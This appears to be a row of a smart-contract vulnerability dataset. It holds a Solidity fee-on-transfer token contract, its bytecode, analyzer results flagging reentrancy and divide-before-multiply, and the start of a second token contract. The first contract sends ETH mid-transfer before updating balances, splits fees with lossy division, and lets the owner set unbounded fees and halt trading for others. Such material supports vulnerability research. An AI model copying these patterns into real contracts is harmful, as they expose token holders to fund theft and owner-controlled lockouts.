// Calls the _transfer function
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
// Calls the _approve function
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
// Function so that B may transfer tokens from account A
// A must approve that B may transfer the tokens, this can be done through the approve function
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
// Function that transfers tokens from A to B
// Fees are addressAFee + addressBFee + addressCFee + liquidityFee
// B will receive send amount - fees
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender != _owner && recipient != _owner) {
require(_trading, "Trading is not enabled!");
}
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
uint256 swapAmount = 0;
// To prevent stack overflow
if (sender != _owner && recipient != _owner && sender != address(uniswapV2Router) && recipient != address(uniswapV2Router) && sender != address(uniswapV2Pair) && recipient != address(uniswapV2Pair) && sender != uniswapV2Router.factory() && recipient != uniswapV2Router.factory() && !addressToFeeExcluded[sender] && !addressToFeeExcluded[recipient])
{
uint256 oldL = _liquidityFeePercentage;
_liquidityFeePercentage = _liquidityFeePercentage / 2;
swapAmount = amount * ((_addressAFeePercentage + _addressBFeePercentage + _liquidityFeePercentage)) / 100;
_balances[address(this)] += swapAmount;
_balances[_liquidityAddress] += amount * _liquidityFeePercentage / 100;
uint256 initialBalance = address(this).balance;
swapTokensForEth(swapAmount);
uint256 swappedAmount = address(this).balance - initialBalance;
payable(_addressA).transfer(swappedAmount / (_addressAFeePercentage + _addressBFeePercentage + _liquidityFeePercentage) * _addressAFeePercentage);
payable(_addressB).transfer(swappedAmount / (_addressAFeePercentage + _addressBFeePercentage + _liquidityFeePercentage) * _addressBFeePercentage);
payable(_liquidityAddress).transfer(swappedAmount / (_addressAFeePercentage + _addressBFeePercentage + _liquidityFeePercentage) * _liquidityFeePercentage);
swapAmount += amount * _liquidityFeePercentage / 100;
emit Transfer(sender, _liquidityAddress, amount * _liquidityFeePercentage / 100);
_liquidityFeePercentage = oldL;
}
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount - swapAmount;
if (recipient != address(uniswapV2Pair) && recipient != _owner) {
require(_balances[recipient] <= _totalSupply / 100 * _maxWalletPercentage, "Max wallet size exceeded!");
}
emit Transfer(sender, recipient, amount - swapAmount);
}
// Function to swap token to Ether
// Function will be only called while transfering tokens
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
// Function to mint new tokens
// Function is never callable after contract deployment
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
//////////////////
// Owner functions
// Function to change the owner of the contract
function setOwner(address _account) external {
require(msg.sender == _owner);
_owner = _account;
}
// Function to exclude a address from taking fee
function excludeAddressFromTakingFee(address account) external
{
require(msg.sender == _owner);
addressToFeeExcluded[account] = true;
}
// Function to include a address in taking fee
function includeAddressInTakingFee(address account) external
{
require(msg.sender == _owner);
addressToFeeExcluded[account] = false;
}
// Function to change the fee percentage AddressA will receive
function setAddressAFeePercentage(uint8 addressAFeePercentage) external {
require(msg.sender == _owner);
_addressAFeePercentage = addressAFeePercentage;
}
// Function to change the fee percentage AddressB will receive
function setAddressBFeePercentage(uint8 addressBFeePercentage) external {
require(msg.sender == _owner);
_addressBFeePercentage = addressBFeePercentage;
}
// Function to change the fee percentage the liquidity address will receive
function setLiquidityFeePercentage(uint8 liquidityFeePercentage) external {
require(msg.sender == _owner);
_liquidityFeePercentage = liquidityFeePercentage;
}
// Function to change the address of addressA
function setAddressA(address addressA) external {
require(msg.sender == _owner);
_addressA = addressA;
}
// Function to change the address of addressB
function setAddressB(address addressB) external {
require(msg.sender == _owner);
_addressB = addressB;
}
// Function to change the percentage of maxWalletPercentage
function setMaxWalletPercentage(uint256 maxWalletPercentage) external {
require(msg.sender == _owner);
_maxWalletPercentage = maxWalletPercentage;
}
// Function to enable trading
function enableTrading() external {
require(msg.sender == _owner);
_trading = true;
}
// Function to disable trading
function disableTrading() external {
require(msg.sender == _owner);
_trading = false;
}
// Function to change the address of liquidityAddress
function setLiquidityAddress(address liquidityAddress) external {
require(msg.sender == _owner);
_liquidityAddress = liquidityAddress;
}
}
|
0x6080604052600436106101e75760003560e01c8063525fa81f1161010257806391fca47611610095578063ae44527811610064578063ae445278146106c9578063b8a6f14b146106f2578063bef8d4941461071d578063dd62ed3e14610746576101ee565b806391fca4761461060d57806395d89b4114610638578063a4ef9cf414610663578063a9059cbb1461068c576101ee565b806370a08231116100d157806370a08231146105655780637a845ece146105a2578063845a6d2c146105cb5780638a8c523c146105f6576101ee565b8063525fa81f146104ab57806356e2d4e8146104d457806358ed1780146104fd5780636c3364ea1461053a576101ee565b806318160ddd1161017a5780632eff10d4116101495780632eff10d414610401578063313ce5671461042c57806349bd5a5e146104575780634a5c8f6314610482576101ee565b806318160ddd1461034757806323b872dd146103725780632445a4cc146103af578063259c6253146103d8576101ee565b806313af4035116101b657806313af4035146102b15780631416d347146102da5780631694505e1461030557806317700f0114610330576101ee565b8063064a59d0146101f357806306fdde031461021e578063095ea7b31461024957806312384c8814610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610783565b60405161021591906127ff565b60405180910390f35b34801561022a57600080fd5b5061023361079a565b6040516102409190612835565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b919061251a565b61082c565b60405161027d91906127ff565b60405180910390f35b34801561029257600080fd5b5061029b61084a565b6040516102a891906127e4565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d3919061242d565b610874565b005b3480156102e657600080fd5b506102ef61090f565b6040516102fc91906127e4565b60405180910390f35b34801561031157600080fd5b5061031a610939565b604051610327919061281a565b60405180910390f35b34801561033c57600080fd5b5061034561095d565b005b34801561035357600080fd5b5061035c6109d2565b6040516103699190612957565b60405180910390f35b34801561037e57600080fd5b50610399600480360381019061039491906124c7565b6109dc565b6040516103a691906127ff565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d19190612587565b610add565b005b3480156103e457600080fd5b506103ff60048036038101906103fa919061242d565b610b42565b005b34801561040d57600080fd5b50610416610bf5565b6040516104239190612957565b60405180910390f35b34801561043857600080fd5b50610441610bff565b60405161044e91906129cc565b60405180910390f35b34801561046357600080fd5b5061046c610c16565b60405161047991906127e4565b60405180910390f35b34801561048e57600080fd5b506104a960048036038101906104a4919061242d565b610c3a565b005b3480156104b757600080fd5b506104d260048036038101906104cd919061242d565b610ced565b005b3480156104e057600080fd5b506104fb60048036038101906104f69190612587565b610d89565b005b34801561050957600080fd5b50610524600480360381019061051f919061242d565b610dee565b60405161053191906127ff565b60405180910390f35b34801561054657600080fd5b5061054f610e44565b60405161055c91906127e4565b60405180910390f35b34801561057157600080fd5b5061058c6004803603810190610587919061242d565b610e6e565b6040516105999190612957565b60405180910390f35b3480156105ae57600080fd5b506105c960048036038101906105c4919061255a565b610eb7565b005b3480156105d757600080fd5b506105e0610f19565b6040516105ed9190612957565b60405180910390f35b34801561060257600080fd5b5061060b610f23565b005b34801561061957600080fd5b50610622610f98565b60405161062f9190612957565b60405180910390f35b34801561064457600080fd5b5061064d610fa2565b60405161065a9190612835565b60405180910390f35b34801561066f57600080fd5b5061068a6004803603810190610685919061242d565b611034565b005b34801561069857600080fd5b506106b360048036038101906106ae919061251a565b6110d0565b6040516106c091906127ff565b60405180910390f35b3480156106d557600080fd5b506106f060048036038101906106eb919061242d565b6110ee565b005b3480156106fe57600080fd5b5061070761118a565b6040516107149190612957565b60405180910390f35b34801561072957600080fd5b50610744600480360381019061073f9190612587565b611194565b005b34801561075257600080fd5b5061076d60048036038101906107689190612487565b6111f9565b60405161077a9190612957565b60405180910390f35b6000600d60009054906101000a900460ff16905090565b6060600480546107a990612c21565b80601f01602080910402602001604051908101604052809291908181526020018280546107d590612c21565b80156108225780601f106107f757610100808354040283529160200191610822565b820191906000526020600020905b81548152906001019060200180831161080557829003601f168201915b5050505050905090565b6000610840610839611280565b8484611288565b6001905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108cc57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b557600080fd5b6000600d60006101000a81548160ff021916908315150217905550565b6000600354905090565b60006109e9848484611453565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a34611280565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab906128d7565b60405180910390fd5b610ad185610ac0611280565b8584610acc9190612b1d565b611288565b60019150509392505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b3557600080fd5b8060ff16600b8190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9a57600080fd5b6001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600c54905090565b6000600660009054906101000a900460ff16905090565b7f00000000000000000000000063692bb9089350ad5f8e35b675c87e39cd7e36cb81565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9257600080fd5b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d4557600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610de157600080fd5b8060ff16600a8190555050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f0f57600080fd5b80600c8190555050565b6000600954905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7b57600080fd5b6001600d60006101000a81548160ff021916908315150217905550565b6000600a54905090565b606060058054610fb190612c21565b80601f0160208091040260200160405190810160405280929190818152602001828054610fdd90612c21565b801561102a5780601f10610fff5761010080835404028352916020019161102a565b820191906000526020600020905b81548152906001019060200180831161100d57829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108c57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006110e46110dd611280565b8484611453565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461114657600080fd5b80600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600b54905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111ec57600080fd5b8060ff1660098190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef90612917565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611368576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135f90612897565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114469190612957565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ba906128f7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152a90612857565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115db575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163057600d60009054906101000a900460ff1661162f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162690612937565b60405180910390fd5b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ae906128b7565b60405180910390fd5b6000808054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611760575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117b857507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561181057507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561186857507f00000000000000000000000063692bb9089350ad5f8e35b675c87e39cd7e36cb73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156118c057507f00000000000000000000000063692bb9089350ad5f8e35b675c87e39cd7e36cb73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561199557507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561192d57600080fd5b505afa158015611941573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611965919061245a565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611a6a57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611a0257600080fd5b505afa158015611a16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3a919061245a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac05750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b165750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f1b576000600b5490506002600b54611b319190612a92565b600b819055506064600b54600a54600954611b4c9190612a3c565b611b569190612a3c565b85611b619190612ac3565b611b6b9190612a92565b915081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bbc9190612a3c565b925050819055506064600b5485611bd39190612ac3565b611bdd9190612a92565b60016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c4d9190612a3c565b925050819055506000479050611c628361218d565b60008147611c709190612b1d565b9050600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600954600b54600a54600954611cc49190612a3c565b611cce9190612a3c565b84611cd99190612a92565b611ce39190612ac3565b9081150290604051600060405180830381858888f19350505050158015611d0e573d6000803e3d6000fd5b50600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600a54600b54600a54600954611d619190612a3c565b611d6b9190612a3c565b84611d769190612a92565b611d809190612ac3565b9081150290604051600060405180830381858888f19350505050158015611dab573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600b54600b54600a54600954611dfe9190612a3c565b611e089190612a3c565b84611e139190612a92565b611e1d9190612ac3565b9081150290604051600060405180830381858888f19350505050158015611e48573d6000803e3d6000fd5b506064600b5487611e599190612ac3565b611e639190612a92565b84611e6e9190612a3c565b9350600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064600b548a611ef19190612ac3565b611efb9190612a92565b604051611f089190612957565b60405180910390a382600b819055505050505b8282611f279190612b1d565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083611f769190612b1d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fc49190612a3c565b925050819055507f00000000000000000000000063692bb9089350ad5f8e35b675c87e39cd7e36cb73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612073575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561211657600c54606460035461208a9190612a92565b6120949190612ac3565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210c90612877565b60405180910390fd5b5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866121719190612b1d565b60405161217e9190612957565b60405180910390a35050505050565b6000600267ffffffffffffffff8111156121aa576121a9612d0f565b5b6040519080825280602002602001820160405280156121d85781602001602082028036833780820191505090505b50905030816000815181106121f0576121ef612ce0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561229057600080fd5b505afa1580156122a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122c8919061245a565b816001815181106122dc576122db612ce0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612341307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611288565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123a3959493929190612972565b600060405180830381600087803b1580156123bd57600080fd5b505af11580156123d1573d6000803e3d6000fd5b505050505050565b6000813590506123e881612f80565b92915050565b6000815190506123fd81612f80565b92915050565b60008135905061241281612f97565b92915050565b60008135905061242781612fae565b92915050565b60006020828403121561244357612442612d3e565b5b6000612451848285016123d9565b91505092915050565b6000602082840312156124705761246f612d3e565b5b600061247e848285016123ee565b91505092915050565b6000806040838503121561249e5761249d612d3e565b5b60006124ac858286016123d9565b92505060206124bd858286016123d9565b9150509250929050565b6000806000606084860312156124e0576124df612d3e565b5b60006124ee868287016123d9565b93505060206124ff868287016123d9565b925050604061251086828701612403565b9150509250925092565b6000806040838503121561253157612530612d3e565b5b600061253f858286016123d9565b925050602061255085828601612403565b9150509250929050565b6000602082840312156125705761256f612d3e565b5b600061257e84828501612403565b91505092915050565b60006020828403121561259d5761259c612d3e565b5b60006125ab84828501612418565b91505092915050565b60006125c083836125cc565b60208301905092915050565b6125d581612b51565b82525050565b6125e481612b51565b82525050565b60006125f5826129f7565b6125ff8185612a1a565b935061260a836129e7565b8060005b8381101561263b57815161262288826125b4565b975061262d83612a0d565b92505060018101905061260e565b5085935050505092915050565b61265181612b63565b82525050565b61266081612ba6565b82525050565b61266f81612bb8565b82525050565b600061268082612a02565b61268a8185612a2b565b935061269a818560208601612bee565b6126a381612d43565b840191505092915050565b60006126bb602383612a2b565b91506126c682612d54565b604082019050919050565b60006126de601983612a2b565b91506126e982612da3565b602082019050919050565b6000612701602283612a2b565b915061270c82612dcc565b604082019050919050565b6000612724602683612a2b565b915061272f82612e1b565b604082019050919050565b6000612747602883612a2b565b915061275282612e6a565b604082019050919050565b600061276a602583612a2b565b915061277582612eb9565b604082019050919050565b600061278d602483612a2b565b915061279882612f08565b604082019050919050565b60006127b0601783612a2b565b91506127bb82612f57565b602082019050919050565b6127cf81612b8f565b82525050565b6127de81612b99565b82525050565b60006020820190506127f960008301846125db565b92915050565b60006020820190506128146000830184612648565b92915050565b600060208201905061282f6000830184612657565b92915050565b6000602082019050818103600083015261284f8184612675565b905092915050565b60006020820190508181036000830152612870816126ae565b9050919050565b60006020820190508181036000830152612890816126d1565b9050919050565b600060208201905081810360008301526128b0816126f4565b9050919050565b600060208201905081810360008301526128d081612717565b9050919050565b600060208201905081810360008301526128f08161273a565b9050919050565b600060208201905081810360008301526129108161275d565b9050919050565b6000602082019050818103600083015261293081612780565b9050919050565b60006020820190508181036000830152612950816127a3565b9050919050565b600060208201905061296c60008301846127c6565b92915050565b600060a08201905061298760008301886127c6565b6129946020830187612666565b81810360408301526129a681866125ea565b90506129b560608301856125db565b6129c260808301846127c6565b9695505050505050565b60006020820190506129e160008301846127d5565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612a4782612b8f565b9150612a5283612b8f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a8757612a86612c53565b5b828201905092915050565b6000612a9d82612b8f565b9150612aa883612b8f565b925082612ab857612ab7612c82565b5b828204905092915050565b6000612ace82612b8f565b9150612ad983612b8f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b1257612b11612c53565b5b828202905092915050565b6000612b2882612b8f565b9150612b3383612b8f565b925082821015612b4657612b45612c53565b5b828203905092915050565b6000612b5c82612b6f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612bb182612bca565b9050919050565b6000612bc382612b8f565b9050919050565b6000612bd582612bdc565b9050919050565b6000612be782612b6f565b9050919050565b60005b83811015612c0c578082015181840152602081019050612bf1565b83811115612c1b576000848401525b50505050565b60006002820490506001821680612c3957607f821691505b60208210811415612c4d57612c4c612cb1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4d61782077616c6c65742073697a652065786365656465642100000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f7420656e61626c656421000000000000000000600082015250565b612f8981612b51565b8114612f9457600080fd5b50565b612fa081612b8f565b8114612fab57600080fd5b50565b612fb781612b99565b8114612fc257600080fd5b5056fea264697066735822122054a91437f685d4034a5811e5a0ecb53b98650adf37a4dc4ab46ba95b5f32434564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,397 |
0x861e8ffc51cc29a7aa6375d1021cab8acb6bffd7
|
// @FlokiZap
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
